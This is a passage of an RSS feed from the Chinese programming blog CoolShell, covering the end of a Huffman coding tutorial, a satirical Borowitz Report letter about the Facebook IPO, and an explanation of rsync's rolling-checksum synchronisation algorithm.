href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada4.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-244 aligncenter\" title=\"coada4\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada4.png\" alt=\"\" width=\"326\" height=\"221\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada5.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-288 aligncenter\" title=\"coada5\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada5.png\" alt=\"\" width=\"347\" height=\"207\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada61.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-290 aligncenter\" title=\"coada6\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada61.png\" alt=\"\" width=\"344\" height=\"273\" /></a></p>\n<p>最终我们会得到下面这样一棵二叉树：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-291 aligncenter\" title=\"arbore_final\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final.png\" alt=\"\" width=\"452\" height=\"304\" /></a></p>\n<p>此时，我们把这个树的左支编码为0，右支编码为1，这样我们就可以遍历这棵树得到字符的编码，比如：‘b’的编码是 00，&#8217;p&#8217;的编码是101， ‘r&#8217;的编码是1000。<strong>我们可以看到出现频率越多的会越在上层，编码也越短，出现频率越少的就越在下层，编码也越长</strong>。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final_numerotat.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-292 aligncenter\" title=\"arbore_final_numerotat\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final_numerotat.png\" alt=\"\" width=\"452\" height=\"304\" /></a></p>\n<p>最终我们可以得到下面这张编码表：</p>\n<p><center></p>\n<table style=\"width: 250px; height: 200px;\">\n<tbody>\n<tr>\n<td>字符</td>\n<td>编码</td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘b’</span></td>\n<td><span style=\"font-size: 12px;\">00</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘e’</span></td>\n<td><span style=\"font-size: 12px;\">11</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘p’</span></td>\n<td><span style=\"font-size: 12px;\">101</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘ ‘</span></td>\n<td><span style=\"font-size: 12px;\">011</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘o’</span></td>\n<td><span style=\"font-size: 12px;\">010</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘r’</span></td>\n<td><span style=\"font-size: 12px;\">1000</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘!’</span></td>\n<td><span style=\"font-size: 12px;\">1001</span></td>\n</tr>\n</tbody>\n</table>\n<p></center><br />\n这里需要注意一点，当我们encode的时候，我们是按“bit”来encode，decode也是通过bit来完成，比如，如果我们有这样的bitset “1011110111″ 那么其解码后就是 “pepe”。所以，我们需要通过这个二叉树建立我们Huffman编码和解码的字典表。</p>\n<p>这里需要注意的一点是，我们的Huffman对各个字符的编码是不会冲突的，也就是说，<strong>不会存在某一个编码是另一个编码的前缀</strong>，不然的话就会大问题了。因为encode后的编码是没有分隔符的。</p>\n<p style=\"text-align: left; padding-left: 30px;\">于是，对于我们的原始字符串  beep boop beer!</p>\n<p style=\"text-align: left; padding-left: 30px;\">其对就能的二进制为 : 0110 0010 0110 0101 0110 0101 0111 0000 0010 0000 0110 0010 0110 1111 0110 1111 0111 0000 0010 0000 0110 0010 0110 0101 0110 0101 0111 0010 0010 0001</p>\n<p style=\"text-align: left; padding-left: 30px;\">我们的Huffman的编码为： 0011 1110 1011 0001 0010 1010 1100 1111 1000 1001</p>\n<p>从上面的例子中，我们可以看到被压缩的比例还是很可观的。</p>\n<p>作者给出了源码你可以看看（ C99标准） <a href=\"http://en.nerdaholyc.com/wp-content/uploads/2012/05/huffman_string.zip\">Download the source files</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7459.html\">Huffman 编码压缩算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7459.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>138</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>扎克伯格的一封信：关于Facebook IPO</title>\n\t\t<link>https://coolshell.cn/articles/7448.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7448.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 19 May 2012 03:01:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Facebook]]></category>\n\t\t<category><![CDATA[IPO]]></category>\n\t\t<category><![CDATA[Joke]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7448</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>MENLO PARK, CA (The Borowitz Report) – 在Fackbook IPO前夕，Facebook的创始人兼CEO Mark Zuc...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7448.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" id=\"ImageStory\" class=\"alignleft\" src=\"http://www.borowitzreport.com/wp-content/uploads/zuck.jpg\" alt=\"\" />MENLO PARK, CA (<strong><strong><a title=\"Borowitz Report\" href=\"http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/\" target=\"_blank\">The Borowitz Report</a></strong></strong>) – 在Fackbook IPO前夕，Facebook的创始人兼CEO Mark Zuckerberg 给全球股民发表了封公开信：</p>\n<p>亲爱的股民们：</p>\n<p style=\"padding-left: 60px;\">    这么多年来，你们已经在Facebook上浪费了你们的时间 ，接下来，你们会得到浪费你们金钱的机会。</p>\n<p>   明天是Facebook的IPO，并且我知道你们一定在想，Facebook怎么就和2000年的.COM泡沫不一样啦？</p>\n<p>首先，我想告诉你们，以前那些糟糕的dot-com公司玩的是概念和炒作，而没有真正的商业价值。而Facebook不一样，也就是说，我们Facebook是建立在强大的以“疯狂的小鸟”和“一群想像中的羊”的基础上的。</p>\n<p>其次，Facebook是世界上最成功的社交网络，我们的用户最近才发现，这个社交网络让人们分享了数以万计别人根本不感兴趣的信息。</p>\n<p>第三，当某人点击Faceback广告的时候，我们就会挣到钱。而且我们知道，点我们广告的人都不是故意点击，成百万的人点我们的广告是因为那时他们喝醉了。我们完全从iTunes偷到这个有创意的想法。</p>\n<p>最后，如果你买我们的股票，你将永远不会孤独。据调查，在过去几年里使用facebook的全球9亿用户，他们都有轻微或中等程度的大脑损伤，这影响了他们的作正常判断的能力。所以，这些人都成为你的朋友——Facebook的股民。</p>\n<p>有了你的帮助，如果明天一切都照计划进行，Facebook IPO将会募到1000亿美金。这是个什么概念，这相当于4到5个摩根大通银行损失的钱。</p>\n<p>最后一件事：我，Mark Zuckerberg，是否会因此IPO获得180亿美金？ 也许，我正在考虑把希腊买了，但就算是这样，我还是有180亿美金。 LOL.</p>\n<p>Friend me (粉我),</p>\n<p>Mark</p>\n<div>（新闻来源：<a href=\"http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/\" target=\"_blank\">http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/</a>）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" alt=\"关于Facebook 的 React 专利许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_title\">关于Facebook 的 React 专利许可证</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Facebook 的系统架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_title\">Facebook 的系统架构</a></li><li ><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" alt=\"Facebook全球关系网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_title\">Facebook全球关系网</a></li><li ><a href=\"https://coolshell.cn/articles/1941.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"程序员的相关笑话（二）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1941.html\" class=\"wp_rp_title\">程序员的相关笑话（二）</a></li><li ><a href=\"https://coolshell.cn/articles/1903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"程序员的相关笑话（一）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1903.html\" class=\"wp_rp_title\">程序员的相关笑话（一）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7448.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>rsync 的核心算法</title>\n\t\t<link>https://coolshell.cn/articles/7425.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7425.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 17 May 2012 00:25:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[adler]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[checksum]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[MD5]]></category>\n\t\t<category><![CDATA[rsync]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7425</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>rsync是unix/linux下同步文件的一个高效算法，它能同步更新两处计算机的文件与目录，并适当利用查找文件中的不同块以减少数据传输。rsync中一项与其他...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7425.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7425.html\">rsync 的核心算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://en.wikipedia.org/wiki/Rsync\" target=\"_blank\" rel=\"noopener noreferrer\">rsync</a>是unix/linux下同步文件的一个高效算法，它能同步更新两处计算机的文件与目录，并适当利用查找文件中的不同块以减少数据传输。rsync中一项与其他大部分类似程序或协定中所未见的重要特性是镜像是只对有变更的部分进行传送。rsync可拷贝／显示目录属性，以及拷贝文件，并可选择性的压缩以及递归拷贝。rsync利用由<a href=\"http://en.wikipedia.org/wiki/Andrew_Tridgell\" target=\"_blank\" rel=\"noopener noreferrer\">Andrew Tridgell</a>发明的算法。这里不介绍其使用方法，只介绍其核心算法。我们可以看到，Unix下的东西，一个命令，一个工具都有很多很精妙的东西，怎么学也学不完，这就是<a title=\"Unix传奇(上篇)\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" rel=\"noopener noreferrer\">Unix的文化</a>啊。</p>\n<p>本来不想写这篇文章的，因为原先发现有很多中文blog都说了这个算法，但是看了一下，发现这些中文blog要么翻译国外文章翻译地非常烂，要么就是介绍这个算法介绍得很乱让人看不懂，还有错误，误人不浅，所以让我觉得有必要写篇rsync算法介绍的文章。（当然，我成文比较仓促，可能会有一些错误，请指正）</p>\n<h4>问题</h4>\n<p>首先， 我们先来想一下rsync要解决的问题，如果我们要同步的文件只想传不同的部分，我们就需要对两边的文件做diff，但是这两个问题在两台不同的机器上，无法做diff。如果我们做diff，就要把一个文件传到另一台机器上做diff，但这样一来，我们就传了整个文件，这与我们只想传输不同部的初衷相背。</p>\n<p>于是我们就要想一个办法，让这两边的文件见不到面，但还能知道它们间有什么不同。这就出现了rsync的算法。</p>\n<h4>算法</h4>\n<p>rsync的算法如下：（<strong>假设我们同步源文件名为fileSrc，同步目的文件叫fileDst</strong>）</p>\n<p><span id=\"more-7425\"></span></p>\n<p>1）<strong>分块Checksum算法</strong>。首先，我们会把fileDst的文件平均切分成若干个小块，比如每块512个字节（最后一块会小于这个数），然后对每块计算两个checksum，</p>\n<ul>\n<li>一个叫<a href=\"http://en.wikipedia.org/wiki/Rolling_hash\" target=\"_blank\" rel=\"noopener noreferrer\">rolling checksum</a>，是弱checksum，32位的checksum，其使用的是Mark Adler发明的<a title=\"Adler-32\" href=\"http://en.wikipedia.org/wiki/Adler-32\">adler-32</a>算法，</li>\n<li>另一个是强checksum，128位的，以前用md4，现在用md5 hash算法。</li>\n</ul>\n<p>为什么要这样？因为若干年前的硬件上跑md4的算法太慢了，所以，我们需要一个快算法来鉴别文件块的不同，但是弱的adler32算法碰撞概率太高了，所以我们还要引入强的checksum算法以保证两文件块是相同的。<strong>也就是说，弱的checksum是用来区别不同，而强的是用来确认相同</strong>。（checksum的具体公式可以参看<a href=\"http://rsync.samba.org/tech_report/node3.html\" target=\"_blank\" rel=\"noopener noreferrer\">这篇文章</a>）</p>\n<p>2）<strong>传输算法。</strong>同步目标端会把fileDst的一个checksum列表传给同步源，这个列表里包括了三个东西，<strong>rolling checksum(32bits)</strong>，<strong>md5 checksume(128bits)</strong>，<strong>文件块编号</strong>。</p>\n<p>我估计你猜到了同步源机器拿到了这个列表后，会对fileSrc做同样的checksum，然后和fileDst的checksum做对比，这样就知道哪些文件块改变了。</p>\n<p>但是，聪明的你一定会有以下两个疑问：</p>\n<ul>\n<li>如果我fileSrc这边在文件中间加了一个字符，这样后面的文件块都会位移一个字符，这样就完全和fileDst这边的不一样了，但理论上来说，我应该只需要传一个字符就好了。这个怎么解决？</li>\n</ul>\n<ul>\n<li>如果这个checksum列表特别长，而我的两边的相同的文件块可能并不是一样的顺序，那就需要查找，线性的查找起来应该特别慢吧。这个怎么解决？</li>\n</ul>\n<p>很好，让我们来看一下同步源端的算法。</p>\n<p>3）<strong>checksum查找算法</strong>。同步源端拿到fileDst的checksum数组后，会把这个数据存到一个hash table中，用rolling checksum做hash，以便获得O(1)时间复杂度的查找性能。这个hash table是16bits的，所以，hash table的尺寸是2的16次方，对rolling checksum的hash会被散列到0 到 2^16 &#8211; 1中的某个整数值。（对于hash table，如果你不清楚，建议回去看大学时的数据结构教科书）</p>\n<p>顺便说一下，我在网上看到很多文章说，“要对rolling checksum做排序”（比如<a href=\"http://www.yejun.cn/?p=472\" target=\"_blank\" rel=\"noopener noreferrer\">这篇</a>和<a href=\"http://blog.csdn.net/tobeandnottobe/article/details/6719848\" target=\"_blank\" rel=\"noopener noreferrer\">这篇</a>），这两篇文章都引用并翻译了<a href=\"http://rsync.samba.org/tech_report/node4.html\" target=\"_blank\" rel=\"noopener noreferrer\">原作者的这篇文章</a>，但是他们都理解错了，不是排序，就只是把fileDst的checksum数据，按rolling checksum做存到2^16的hash table中，当然会发生碰撞，把碰撞的做成一个链表就好了。这就是<a href=\"http://rsync.samba.org/tech_report/node4.html\" target=\"_blank\" rel=\"noopener noreferrer\">原文</a>中所说的第二步——搜索有碰撞的情况。</p>\n<p>4）<strong>比对算法</strong>。这是最关键的算法，细节如下：</p>\n<p style=\"padding-left: 30px;\">4.1）取fileSrc的第一个文件块（我们假设的是512个长度），也就是从fileSrc的第1个字节到第512个字节，取出来后做rolling checksum计算。计算好的值到hash表中查。</p>\n<p style=\"padding-left: 30px;\">4.2）如果查到了，说明发现在fileDst中有潜在相同的文件块，于是就再比较md5的checksum，因为rolling checksume太弱了，可能发生碰撞。于是还要算md5的128bits的checksum，这样一来，我们就有 2^-(32+128) = 2^-160的概率发生碰撞，这太小了可以忽略。<strong>如果rolling checksum和md5 checksum都相同，这说明在fileDst中有相同的块，我们需要记下这一块在fileDst下的文件编号</strong>。</p>\n<p style=\"padding-left: 30px;\">4.3）如果fileSrc的rolling checksum 没有在hash table中找到，那就不用算md5 checksum了。表示这一块中有不同的信息。总之，只要rolling checksum 或 md5 checksum 其中有一个在fileDst的checksum hash表中找不到匹配项，那么就会触发算法对fileSrc的rolling动作。于是，<strong>算法会住后step 1个字节，取fileSrc中字节2-513的文件块要做checksum，go to (4.1) </strong>&#8211; 现在你明白什么叫rolling checksum了吧。</p>\n<p style=\"padding-left: 30px;\">4.4）这样，我们就可以找出fileSrc相邻两次匹配中的那些文本字符，这些就是我们要往同步目标端传的文件内容了。</p>\n<h4 class=\"p1\"><b>rolling checksum算法</b></h4>\n<p class=\"p1\">这个算法很简单，也叫<a href=\"https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm\" target=\"_blank\" rel=\"noopener noreferrer\">Rabin-Karp 算法</a>，由 Richard M. Karp 和 Michael O. Rabin 在 1987 年发表，它也是用来解决多模式串匹配问题的。其最大的精髓是，当我们往后面step 1个字符的时候，不用全部重新计算所有的checksum，也就是说，我们从 [0, 512] rolling 到 [1, 513] 时，我们不需要重新计算从1到513的checksum，而是重用 [0，512]的checksum直接算出来。</p>\n<p class=\"p1\">这个算法比较简单，我举个例子，我们有一个数字：12345678，假设我们以5个长度作为一个块，那么，第一个块就是 12345 ，12345可以表示为：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\"> 1 * 10^4 + 2 * 10^3 + 3 * 10^2 + 4 * 10^1 + 5 * 10^0 = 12345 </code></p>\n<p class=\"p1\">如果我们要step 1步，也就是要得到 23456， 我们不必计算：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">2 * 10^4 + 3 * 10^3 + 4 * 10^2 + 5 * 10^1 + 6 * 10^0</code></p>\n<p class=\"p1\">而是直接计算：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">(12345 - 1 * 10^4) * 10 + 6 * 10 ^0</code></p>\n<p class=\"p1\">我们可以看到，其中，我们把12345最左边第一位去掉，然后，再加上最右边的一位。这就是Rolling checksum的算法。</p>\n<p class=\"p1\">实际的公式是：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">hash ( t[0, m-1] ) = t[0] * b^(m-1) + t[1] * b^[m-2] ..... t[m-1] * b^0</code></p>\n<p class=\"p1\">其中的 b是一个常数基数，在 Rabin-Karp 算法中，我们一般取值为  256。</p>\n<p class=\"p1\">于是，在计算 hash ( t[1, m] ) 时，只需要下面这样就可以了：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">hash( t[1, m] ) = hash ( t[0, m-1] ) - t[0] * b^(m-1)  + t[m] * b ^0</code></p>\n<h4>图示</h4>\n<p>怎么，你没看懂？ 好吧，我送佛送上西，画个示意图给你看看（对图中的东西我就不再解释了）。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7428\" title=\"rsync algorithm\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm.jpg\" alt=\"\" width=\"650\" height=\"463\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm.jpg 650w, https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm-300x214.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm-379x270.jpg 379w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p>这样，最终，在同步源这端，我们的rsync算法可能会得到下面这个样子的一个数据数组，图中，红色块表示在目标端已匹配上，不用传输（注：我专门在其中显示了两块chunk #5，相信你会懂的），而白色的地方就是需要传输的内容（注意：这些白色的块是不定长的），这样，同步源这端把这个数组（白色的就是实际内容，红色的就放一个标号）压缩传到目的端，在目的端的rsync会根据这个表重新生成文件，这样，同步完成。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7427\" title=\"rsync algorithm result\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm-result.jpg\" alt=\"\" width=\"606\" height=\"82\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm-result.jpg 606w, https://coolshell.cn/wp-content/uploads/2012/05/rsync-algorithm-result-300x40.jpg 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" /></p>\n<p>最后想说一下，对于某些压缩文件使用rsync传输可能会传得更多，因为被压缩后的文件可能会非常的不同。对此，对于gzip和bzip2这样的命令，记得开启 “rsyncalbe” 模式。</p>\n<p>（全文完，<strong>转载时请注明作者和出处</strong>）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" 